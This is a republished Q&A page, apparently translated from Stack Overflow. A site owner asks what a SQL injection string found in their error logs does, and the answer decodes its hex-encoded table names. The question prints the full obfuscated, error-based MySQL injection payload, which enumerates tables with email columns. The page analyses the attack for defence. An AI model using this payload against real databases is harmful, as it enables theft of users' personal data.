What is the purpose of this sort of SQL injection?(这种SQL注入的目的是什么?)
本文介绍了这种SQL注入的目的是什么?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
我有一个网站。如果有错误,我会向系统帐户发送一封电子邮件。我今天看到了以下内容,我认为这就是SQL。我得把它修好了。有人知道这个人这样做的目的是什么吗?
AdID=50427 or 1=(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,t./**/tAbLe_nAmE,0x217e21) /**/fRoM information_schema./**/sChEmAtA as d join information_schema./**/tAbLeS as t on t./**/tAbLe_sChEmA = d./**/sChEmA_NaMe join information_schema./**/cOlUmNs as c on c./**/tAbLe_sChEmA = d./**/sChEmA_NaMe and c./**/tAbLe_nAmE = t./**/tAbLe_nAmE /**/wHeRe not c./**/tAbLe_sChEmA in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) and d./**/sChEmA_NaMe = /**/dAtAbAsE() and c./**/cOlUmN_NaMe like 0x25656d61696c25 and not t./**/tAbLe_nAmE in(0x42524944455f54424c,0x42524944455f54424c5f505542,0x434f4e54414354,0x434f4e544143545f54424c,0x47524f4f4d5f54424c,0x47524f4f4d5f54424c5f505542,0x4f524445525f54424c,0x7068703132315f75736572735f64656c65746564,0x535542534352494245525f4c495354,0x555345525f44454c45544544,0x555345525f50524f46494c455f44454c45544544) /**/gRoUp/**/bY t./**/tAbLe_nAmE /**/lImIt 11,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and 1=1
推荐答案
具体地说,它正在尝试查找哪些非系统表具有包含email的列,并排除下列表:
BRIDE_PUB
BRIDE_TBL_PUB
CONTACT
CONTACT_TBL
GROOM_TBL
GROOM_TBL_PUB
ORDER_TBL
php121_users_deleted
SUBSCRIBER_LIST
USER_DELETED
USER_PROFILE_DELETED
我想攻击者已经知道了。
所以他们基本上是在试图窃取您的电子邮件地址,作为邮件列表出售(这是典型的SQL注入攻击)。
仅供参考,以下是我用来查看字符串的查询:
select
CAST(0x217e21 as varchar(99)),
CAST(0x696e666f726d6174696f6e5f736368656d61 as varchar(99)),
CAST(0x6d7973716c as varchar(99)),
CAST(0x25656d61696c25 as varchar(99)),
CAST(0x42524944455f54424c as varchar(99)),
CAST(0x42524944455f54424c5f505542 as varchar(99)),
CAST(0x434f4e54414354 as varchar(99)),
CAST(0x434f4e544143545f54424c as varchar(99)),
CAST(0x47524f4f4d5f54424c as varchar(99)),
CAST(0x47524f4f4d5f54424c5f505542 as varchar(99)),
CAST(0x4f524445525f54424c as varchar(99)),
CAST(0x7068703132315f75736572735f64656c65746564 as varchar(99)),
CAST(0x535542534352494245525f4c495354 as varchar(99)),
CAST(0x555345525f44454c45544544 as varchar(99)),
CAST(0x555345525f50524f46494c455f44454c45544544 as varchar(99))
(我在MS SQL Server上这样做,不确定在MySQL上的语法是否完全相同)
这篇关于这种SQL注入的目的是什么?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持编程学习网!
编程基础网
本文标题为:这种SQL注入的目的是什么?
基础教程推荐
猜你喜欢
- SSMS 中的权限问题:“对象 'extended_properties'、数据库 'mssqlsystem_resource'、... 错误 229)上的 SELECT 权限被拒绝" 2022-01-01
- 需要 MySQL 5.1 中的抽象触发器来更新审计日志 2021-01-01
- SQL Server 实例在登录协商期间返回无效或不受支持的协议版本 2021-01-01
- 是否可以执行按位分组功能? 2021-01-01
- 将 SQL Server DateTime 列迁移到 DateTimeOffset 2021-01-01
- 无法解决整理冲突 2021-01-01
- 在 SQL 中连接多个表 2021-01-01
- SQL 效率:WHERE IN 子查询 vs. JOIN 然后 GROUP 2021-01-01
- SQL:使用来自具有相同列名的两个表中的数据... 2021-01-01
- 如何使用 mysql.connector 禁用查询缓存 2022-01-01
